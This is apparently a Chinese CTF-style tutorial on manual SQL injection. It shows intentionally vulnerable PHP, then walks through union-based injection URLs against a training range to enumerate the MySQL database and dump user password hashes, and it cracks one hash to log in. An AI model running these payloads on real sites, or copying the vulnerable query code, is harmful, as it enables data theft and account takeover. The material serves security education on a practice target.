【严正声明】仅供学习,勿做他用!!!
【严正声明】仅供学习,勿做他用!!!
【严正声明】仅供学习,勿做他用!!!
遵纪守法,做合格网民!!!!
开发过程中,一些开发者会直接将URL的参数,POST方法的参数等一些列外来输入的参数拼接到SQL语句中。上述做法会造成SQL语句的可控,从而使得测试者能够通过执行SQL语句,实现一些自定义操作。
$id=$_GET['id'];
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
例如上述代码中:SQL语句部分的$id变量就会将代码第一行GET到的参数直接和SQL语句拼接。
注入点的判断:
1.利用人为的SQL语句逻辑错误判断是否能够对数据库进行操作;
首先明确,常见的查询逻辑 与 或 非,这里只介绍常用的与and和或or。
我们知道如下表达式
真 and 真 = 真
真 and 假 = 假
真 or 假 = 真
那么,一种判断是否存在SQL注入的手动测试方法就是:利用上述逻辑进行测试,如果人为注入的逻辑正确,页面会正常显示;逻辑错误,页面会出现异常(注意:不是报错)。也就是说出现下面情况可以判断SQL我们是能够进行人为的SQL注入测试的。
原本语句 SELECT * FROM users WHERE id =1 LIMIT 0,1 查询正常
在id=1后拼接 and 1=1的真逻辑:SELECT * FROM users WHERE id =1 and 1=1 LIMIT 0,1 页面正常
在id=1后拼接 and 1=-1的假逻辑:SELECT * FROM users WHERE id =1 and 1=-1 LIMIT 0,1 页面错误
当然也可以采用一种比较直接的方式判断:直接通过错误查询看页面是否出现异常,如果异常,就表明我们拼接的语句是能够操作数据库的,如下所示:
原本语句 SELECT * FROM users WHERE id =1 LIMIT 0,1 查询正常
修改id参数(反正没人认识我,随便改了):SELECT * FROM users WHERE id =wo_shi_sha_bi LIMIT 0,1 页面错误
信息收集:
操作系统:有些操作系统是区分大小写的,为了保证SQL注入的成功,区分大小写很必要
数据库名:定位到目标数据库
数据库用户:对于不同权限的用户有不同的思路
数据库版本:低版本和高版本有不同的做法
网站路径:涉及到文件读写问题
数据注入:
Mysql 5.0以前的版本采用暴力查询的方案
Mysql 5.0以后的版本利用information_schema库查询
高级权限注入
一种思路是回归到一般的数据注入
当然也可以利用注入进行跨库的查询或进行文件读写操作
CTF竞赛中此类题型往往会将数据回显到页面中:本部分采用墨者学院在线靶场进行演示记录
地址:https://www.mozhe.cn/bug/detail/elRHc1BCd2VIckQxbjduMG9BVCtkZz09bW96aGUmozhe
连接靶场:观察,并未发现存在URL中存在拼接的可能性
尝试点击页面元素:
成功跳转到URL可操作的页面
尝试通过URL拼接进行SQL注入的测试
STEP1:注入点的判断
1.是否存在SQL注入的可能性
浏览器中输入http://124.70.64.48:41606/new_list.php?id=1 and 1=1
得到正常回显
http://124.70.64.48:41606/new_list.php?id=1 and 1=-1
页面出错
自此我们判断该站点可以进行SQL注入测试
2.猜测列数
语句拼接 order by x;直到页面异常
这一步的意义是为了后续操作中参数回显做准备,在不知道交互怎么写的情况下,只有尝试,因为我们不知道回显的是表中的哪些列
回归本靶场的测试:一直拼接到order by 4都是正常显示,到order by 5 时,页面出现异常
http://124.70.64.48:41606/new_list.php?id=1order by 5
由此我们判断,参与本页回显的有四列
3.利用人为的逻辑错误 和 联合查询判断参与页面显示的是哪些列
http://124.70.64.48:41606/new_list.php?id=1 and 1=-1 union select 1,2,3,4
由此,后续我们只需要一步一步对union中的2,3字段不断替换,重复操作,让我们想要的信息回显即可
Step2:信息收集
数据库版本:version()
数据库名称:database( )
数据库用户:user( )
操作系统:@@version_compile_os
http://124.70.64.48:41606/new_list.php?id=1 and 1=-1 union select 1,database(),version(),4
http://124.70.64.48:41606/new_list.php?id=1 and 1=-1 union select 1,user(),@@version_compile_os,4
至此,我们收集到了需要的信息,根据数据库的版本在5.0以上,我们可以判断存在information_schema库供我们使用:
数据库版本: 5.7.22-0ubuntu0.16.04.1
数据库名称: mozhe_Discuz_StormGroup
数据库用户: root@localhost
操作系统: Linux
Step3:数据注入—Mysql高版本的思路
information_schema 存储有所有数据库名、表名、列名,可以通过查询这个数据库获得想要的信息
数据库中’’."代表下一级a.b代表a数据库中的b表
information_schema.tables:表
information_schema.columns:列
table_name:表名
column_name:列名
table_schema:数据库名
1.查询表:通过上一步我们已经查到了数据库mozhe_Discuz_StormGroup为本网站使用的数据库,因此通过语法查询该库中有哪些表:
http://124.70.64.48:41606/new_list.php?id=1 and 1=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'
得到回显: StormGroup_member,notice
根据表的名称推测:我们需要用到的是StormGroup_member这张表
2.查询列
http://124.70.64.48:41606/new_list.php?id=1 and 1=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='StormGroup_member'
3.查询具体信息,我们想要获得的是用户名和密码因此可以查询
http://124.70.64.48:41606/new_list.php?id=1 and 1=-1 union select 1,group_concat(name),group_concat(password),4 from StormGroup_member
我们查到两个用户名和口令的密文形式,两个用户名一致因此需要查看一下账号的状态,确保我们要登录的账号是可用的(其实这一步已经可以尝试了,但是考虑到现实中MD5的彩虹表攻击没那么简单所以进行了这一步)
http://124.70.64.48:41606/new_list.php?id=1 and 1=-1 union select 1,group_concat(name),group_concat(status),4 from StormGroup_member
回显得后者为真值,因此记录下:
用户名:mozhe
密码: 6c761925e2ba5bc5a4fa9b548f66a340
Step4:尝试解密:
工具:https://www.sojson.com/encrypt_md5.html
采用工具得:817469
尝试登陆:
拿下!!!回家吃西瓜!!!
【严正声明】仅供学习,勿做他用!!!
【严正声明】仅供学习,勿做他用!!!
【严正声明】仅供学习,勿做他用!!!
【严正声明】仅供学习,勿做他用!!!